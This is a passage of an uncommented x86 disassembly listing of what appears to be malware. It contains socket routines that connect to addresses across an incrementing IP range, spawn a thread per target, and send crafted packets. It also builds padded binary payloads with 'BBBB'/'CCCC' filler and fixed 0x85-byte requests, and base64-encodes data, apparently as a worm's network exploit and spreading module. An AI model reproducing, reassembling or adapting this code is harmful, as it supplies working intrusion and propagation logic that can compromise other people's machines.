0B40000h pop eax loc_40C48D: ; CODE XREF: .nsp0:0040C3E6j ; .nsp0:0040C4A5j mov eax, [ebp-2Ch] cmp dword_4D1344[eax*8], 1 jnz loc_40C3F8 push 7D0h call esi ; dword_427064 jmp short loc_40C48D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C4A7 proc near ; DATA XREF: sub_40C574+7Bo ; sub_40C665+7Bo var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BC40 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4D11F0 ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4D1270 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C565 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4D1198 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_44412C[ecx], esi jz short loc_40C565 push [ebp+var_38] push [ebp+var_28] call dword_4D127C ; inet_ntoa push eax mov edi, offset dword_4D3D04 push offset unk_43890C push edi call sub_41BF36 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_4099D2 push edi call sub_4157A6 add esp, 28h loc_40C565: ; CODE XREF: sub_40C4A7+5Dj ; sub_40C4A7+7Ej push esi call dword_4D1288 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40C4A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40C574 proc near ; DATA XREF: .nsp0:00407A9Bo var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, dword_427064 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C5A2: ; CODE XREF: sub_40C574+ECj push [ebp+var_30] push [ebp+var_20] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp+var_134] push offset unk_438934 push eax call sub_41BF36 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_443F20 push eax call sub_41BCA0 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40C4A7 push edi push edi call dword_42707C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40C60E loc_40C603: ; CODE XREF: sub_40C574+98j cmp [ebp+var_C], edi jnz short loc_40C60E push 32h call esi ; dword_427064 jmp short loc_40C603 ; --------------------------------------------------------------------------- loc_40C60E: ; CODE XREF: sub_40C574+8Dj ; sub_40C574+92j push [ebp+var_4] call dword_42706C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; dword_427064 lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call near ptr sub_41C9B0 add esp, 0Ch push [ebp+arg_0] call dword_4D1118 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_4D11EC ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call near ptr sub_41C9B0 add esp, 0Ch jmp loc_40C5A2 sub_40C574 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C665 proc near ; DATA XREF: .nsp0:004077B1o var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_427064 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C693: ; CODE XREF: sub_40C665+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_438988 push eax call sub_41BF36 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_443F20 push eax call sub_41BCA0 add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40C4A7 push edi push edi call dword_42707C ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40C6FF loc_40C6F4: ; CODE XREF: sub_40C665+98j cmp [ebp+var_8], edi jnz short loc_40C6FF push 32h call esi ; dword_427064 jmp short loc_40C6F4 ; --------------------------------------------------------------------------- loc_40C6FF: ; CODE XREF: sub_40C665+8Dj ; sub_40C665+92j push [ebp+arg_0] call dword_42706C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; dword_427064 mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40C726 inc [ebp+var_2C] jmp loc_40C693 ; --------------------------------------------------------------------------- loc_40C726: ; CODE XREF: sub_40C665+B7j push [ebp+var_1C] call dword_4D127C ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_43895C push eax call sub_41BF36 push edi lea eax, [ebp+var_130] push [ebp+var_14] push eax lea eax, [ebp+var_AC] push eax push [ebp+var_B0] call sub_4099D2 push [ebp+var_20] call sub_40B32A add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40C665 endp ; =============== S U B R O U T I N E ======================================= sub_40C772 proc near ; CODE XREF: sub_40C9E6+Ep ; sub_40C9E6+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C772 endp ; =============== S U B R O U T I N E ======================================= sub_40C77C proc near ; CODE XREF: sub_40C9E6+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BBCB mov edi, eax pop ecx test edi, edi jz short loc_40C7AE push ebx push 0 push edi call sub_41BC40 push ebx push [esp+1Ch+arg_0] push edi call near ptr sub_41C9B0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C7AE: ; CODE XREF: sub_40C77C+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C77C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C7B6 proc near ; CODE XREF: sub_40C8B0+18p ; sub_40C92A+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BBCB mov esi, eax pop ecx test esi, esi jz short loc_40C802 push edi push 0 push esi call sub_41BC40 push [ebp+arg_4] push [ebp+arg_0] push esi call near ptr sub_41C9B0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call near ptr sub_41C9B0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C802: ; CODE XREF: sub_40C7B6+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C7B6 endp ; =============== S U B R O U T I N E ======================================= sub_40C80B proc near ; CODE XREF: sub_40C8B0+5Ep ; sub_40C8B0+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C81B push eax call sub_41B961 pop ecx loc_40C81B: ; CODE XREF: sub_40C80B+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C80B endp ; =============== S U B R O U T I N E ======================================= sub_40C824 proc near ; CODE XREF: sub_40C8B0+20p ; sub_40C98B+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C851 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BBCB mov edi, eax pop ecx test edi, edi jnz short loc_40C855 loc_40C851: ; CODE XREF: sub_40C824+Dj xor al, al jmp short loc_40C8AC ; --------------------------------------------------------------------------- loc_40C855: ; CODE XREF: sub_40C824+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BC40 add esp, 0Ch cmp ebx, 1 jnz short loc_40C87A mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C894 ; --------------------------------------------------------------------------- loc_40C87A: ; CODE XREF: sub_40C824+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C894: ; CODE XREF: sub_40C824+54j push eax call near ptr sub_41C9B0 add esp, 0Ch push dword ptr [esi] call sub_41B961 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C8AC: ; CODE XREF: sub_40C824+2Fj pop edi pop esi pop ebx retn sub_40C824 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B0 proc near ; CODE XREF: sub_40C9E6+89p ; sub_40C9E6+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4D10A8 call sub_40C7B6 lea ecx, [ebp+var_8] call sub_40C824 mov eax, [ebp+var_4] inc eax push eax call sub_41BBCB mov edi, eax pop ecx test edi, edi jnz short loc_40C8EA xor al, al jmp short loc_40C926 ; --------------------------------------------------------------------------- loc_40C8EA: ; CODE XREF: sub_40C8B0+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BC40 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call near ptr sub_41C9B0 add esp, 18h mov ecx, esi call sub_40C80B mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C80B mov al, 1 loc_40C926: ; CODE XREF: sub_40C8B0+38j pop edi pop esi leave retn sub_40C8B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C92A proc near ; CODE XREF: sub_40C95E+14p ; sub_40C97B+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C7B6 mov ecx, esi call sub_40C80B mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40C92A endp ; =============== S U B R O U T I N E ======================================= sub_40C95E proc near ; CODE XREF: sub_40C9E6+F0p ; sub_40C9E6+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B890 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40C92A pop esi retn 4 sub_40C95E endp ; =============== S U B R O U T I N E ======================================= sub_40C97B proc near ; CODE XREF: sub_40C9C7+Bp ; sub_40C9E6+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40C92A retn 8 sub_40C97B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C98B proc near ; CODE XREF: sub_40C9C7+16p ; sub_40C9E6+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C824 test al, al jz short loc_40C9C4 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42C2A0 call sub_40C7B6 mov ecx, esi call sub_40C80B mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40C9C4: ; CODE XREF: sub_40C98B+Fj pop esi leave retn sub_40C98B endp ; =============== S U B R O U T I N E ======================================= sub_40C9C7 proc near ; CODE XREF: sub_40C9E6+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40C97B test al, al jz short loc_40C9E2 mov ecx, esi call sub_40C98B loc_40C9E2: ; CODE XREF: sub_40C9C7+12j pop esi retn 8 sub_40C9C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9E6 proc near ; CODE XREF: .nsp0:0040D26Dp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C772 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CD3A mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CD3A push esi lea ecx, [ebp+var_30] call sub_40C772 lea ecx, [ebp+var_20] call sub_40C772 lea ecx, [ebp+var_50] call sub_40C772 lea ecx, [ebp+var_18] call sub_40C772 lea ecx, [ebp+var_40] call sub_40C772 lea ecx, [ebp+var_38] call sub_40C772 lea ecx, [ebp+var_28] call sub_40C772 push 4 push offset dword_4389C0 lea ecx, [ebp+var_30] call sub_40C92A push 3 push offset dword_4389C8 lea ecx, [ebp+var_30] call sub_40C92A lea ecx, [ebp+var_30] call sub_40C8B0 lea ecx, [ebp+var_30] call sub_40C98B mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BC40 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40C92A push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40C92A mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40C92A lea ecx, [ebp+var_20] call sub_40C8B0 push offset loc_438D40 lea ecx, [ebp+var_50] call sub_40C95E lea ecx, [ebp+var_50] call sub_40C8B0 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C77C lea ecx, [ebp+var_58] call sub_40C8B0 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40C9C7 lea ecx, [ebp+var_58] call sub_40C80B push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BC40 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40C95E push 4 push offset dword_4389CC lea ecx, [ebp+var_18] call sub_40C92A push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40C92A sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40C92A lea ecx, [ebp+var_18] call sub_40C8B0 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40C97B push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40C97B lea ecx, [ebp+var_40] call sub_40C98B lea ecx, [ebp+var_18] call sub_40C80B lea ecx, [ebp+var_50] call sub_40C80B push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40C97B push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40C97B push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40C97B lea ecx, [ebp+var_38] call sub_40C98B lea ecx, [ebp+var_20] call sub_40C80B lea ecx, [ebp+var_30] call sub_40C80B lea ecx, [ebp+var_40] call sub_40C80B push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40C92A lea ecx, [ebp+var_28] call sub_40C8B0 push 2 push offset dword_438D34 lea ecx, [ebp+var_28] call sub_40C92A push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40C97B lea ecx, [ebp+var_28] call sub_40C98B lea ecx, [ebp+var_38] call sub_40C80B lea ecx, [ebp+var_10] call sub_40C772 lea ecx, [ebp+var_8] call sub_40C772 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40C97B lea ecx, [ebp+var_10] call sub_40C824 lea ecx, [ebp+var_28] call sub_40C80B push offset dword_438D30 lea ecx, [ebp+var_8] call sub_40C95E push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40C97B lea ecx, [ebp+var_8] call sub_40C824 lea ecx, [ebp+var_10] call sub_40C80B push offset a0_0 ; "0" lea ecx, [ebp+var_10] call sub_40C95E push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40C97B lea ecx, [ebp+var_10] call sub_40C824 lea ecx, [ebp+var_8] call sub_40C80B push offset dword_438D24 lea ecx, [ebp+var_8] call sub_40C95E push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40C97B lea ecx, [ebp+var_8] call sub_40C824 lea ecx, [ebp+var_10] call sub_40C80B push (offset loc_438D1F+1) lea ecx, [ebp+var_48] call sub_40C95E push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40C97B lea ecx, [ebp+var_8] call sub_40C80B mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CD48 ; --------------------------------------------------------------------------- loc_40CD3A: ; CODE XREF: sub_40C9E6+1Bj ; sub_40C9E6+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CD48: ; CODE XREF: sub_40C9E6+352j pop edi pop ebx leave retn sub_40C9E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD4C proc near ; CODE XREF: sub_40CE10+A1p ; sub_40CE10+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_427224 ; select cmp eax, edi jnz short loc_40CDB3 lea eax, [ebp+var_10C] push eax push esi call sub_4265E8 ; __WSAFDIsSet test eax, eax jnz short loc_40CDB7 loc_40CDB3: ; CODE XREF: sub_40CD4C+54j xor eax, eax jmp short loc_40CDC7 ; --------------------------------------------------------------------------- loc_40CDB7: ; CODE XREF: sub_40CD4C+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4D1208 ; recv loc_40CDC7: ; CODE XREF: sub_40CD4C+69j pop edi pop esi leave retn sub_40CD4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CDCB proc near ; CODE XREF: sub_40CE10+81p ; sub_40CE10+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4D11EC ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4D1240 ; send cmp eax, 4 jz short loc_40CDF5 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CDF5: ; CODE XREF: sub_40CDCB+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4D1240 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CDCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE10 proc near ; CODE XREF: sub_40CEEA+48p ; .nsp0:0040D368p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BBCB mov esi, eax pop ecx test esi, esi jnz short loc_40CE39 xor al, al jmp loc_40CEE5 ; --------------------------------------------------------------------------- loc_40CE39: ; CODE XREF: sub_40CE10+20j push ebx push 0 push esi call sub_41BC40 push 2Fh push offset dword_438A5C push esi call near ptr sub_41C9B0 push 8 lea eax, [esi+31h] push offset dword_438A8C push eax mov [esi+2Fh], di call near ptr sub_41C9B0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call near ptr sub_41C9B0 push 6 add ebx, edi push offset dword_4D3F0C push ebx call near ptr sub_41C9B0 mov ebx, [ebp+arg_0] push 85h push offset dword_4389D4 push ebx call sub_40CDCB add esp, 48h test al, al jnz short loc_40CEA1 loc_40CE9D: ; CODE XREF: sub_40CE10+B5j xor bl, bl jmp short loc_40CEDC ; --------------------------------------------------------------------------- loc_40CEA1: ; CODE XREF: sub_40CE10+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CD4C push [ebp+var_4] push esi push ebx call sub_40CDCB add esp, 1Ch test al, al jz short loc_40CE9D push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CD4C add esp, 10h mov bl, 1 loc_40CEDC: ; CODE XREF: sub_40CE10+8Fj push esi call sub_41B961 pop ecx mov al, bl loc_40CEE5: ; CODE XREF: sub_40CE10+24j pop edi pop esi pop ebx leave retn sub_40CE10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEEA proc near ; CODE XREF: .nsp0:0040D34Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_438A98 push [ebp+arg_0] call dword_427220 ; send cmp eax, 48h jnz short loc_40CF25 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CD4C add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40CF25 cmp [ebp+var_20], 82h jz short loc_40CF29 loc_40CF25: ; CODE XREF: sub_40CEEA+1Bj ; sub_40CEEA+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CF29: ; CODE XREF: sub_40CEEA+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CE10 add esp, 0Ch leave retn sub_40CEEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF3C proc near ; CODE XREF: sub_40CF88+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41CE38 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41CD19 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41CE38 inc eax leave retn sub_40CF3C endp ; =============== S U B R O U T I N E ======================================= sub_40CF88 proc near ; CODE XREF: sub_40D12A+24p var_40 = qword ptr -40h mov eax, offset loc_426C8B call sub_41D304 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D5C9 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40CF3C cmp [ebp-2Ch], eax pop ecx jnb short loc_40CFCA push edi push eax lea ecx, [ebp-38h] call sub_40D544 loc_40CFCA: ; CODE XREF: sub_40CF88+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D0E7 mov ebx, [ebp+10h] loc_40CFD9: ; CODE XREF: sub_40CF88+156j cmp dword ptr [ebp+10h], 3 jb short loc_40CFE3 push 3 jmp short loc_40CFF5 ; --------------------------------------------------------------------------- loc_40CFE3: ; CODE XREF: sub_40CF88+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40CFED push 2 jmp short loc_40CFF5 ; --------------------------------------------------------------------------- loc_40CFED: ; CODE XREF: sub_40CF88+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40CFF6 push 1 loc_40CFF5: ; CODE XREF: sub_40CF88+59j ; sub_40CF88+63j pop ebx loc_40CFF6: ; CODE XREF: sub_40CF88+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41CE5F pop ecx pop ecx call sub_41CE38 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D035 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D035: ; CODE XREF: sub_40CF88+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D0A3 add [ebp-18h], eax loc_40D087: ; CODE XREF: sub_40CF88+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_438AE4[eax] push eax push 1 call sub_40D3C6 inc esi cmp esi, [ebp-1Ch] jb short loc_40D087 loc_40D0A3: ; CODE XREF: sub_40CF88+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D0C1 push dword ptr [ebp+14h] call sub_41B890 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D41F mov [ebp-18h], edi loc_40D0C1: ; CODE XREF: sub_40CF88+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D0DB sub esi, [ebp-1Ch] loc_40D0CC: ; CODE XREF: sub_40CF88+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D3C6 dec esi jnz short loc_40D0CC loc_40D0DB: ; CODE XREF: sub_40CF88+13Fj cmp [ebp+10h], edi ja loc_40CFD9 push 1 pop ebx loc_40D0E7: ; CODE XREF: sub_40CF88+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D5C9 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D476 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D5C9 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40CF88 endp ; =============== S U B R O U T I N E ======================================= sub_40D12A proc near ; CODE XREF: .nsp0:0040D331p mov eax, offset loc_426CA8 call sub_41D304 sub esp, 10h push ebx push esi push edi push offset byte_443398 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40CF88 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BBCB mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D174 xor bl, bl jmp short loc_40D1B8 ; --------------------------------------------------------------------------- loc_40D174: ; CODE XREF: sub_40D12A+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D182 mov ecx, eax loc_40D182: ; CODE XREF: 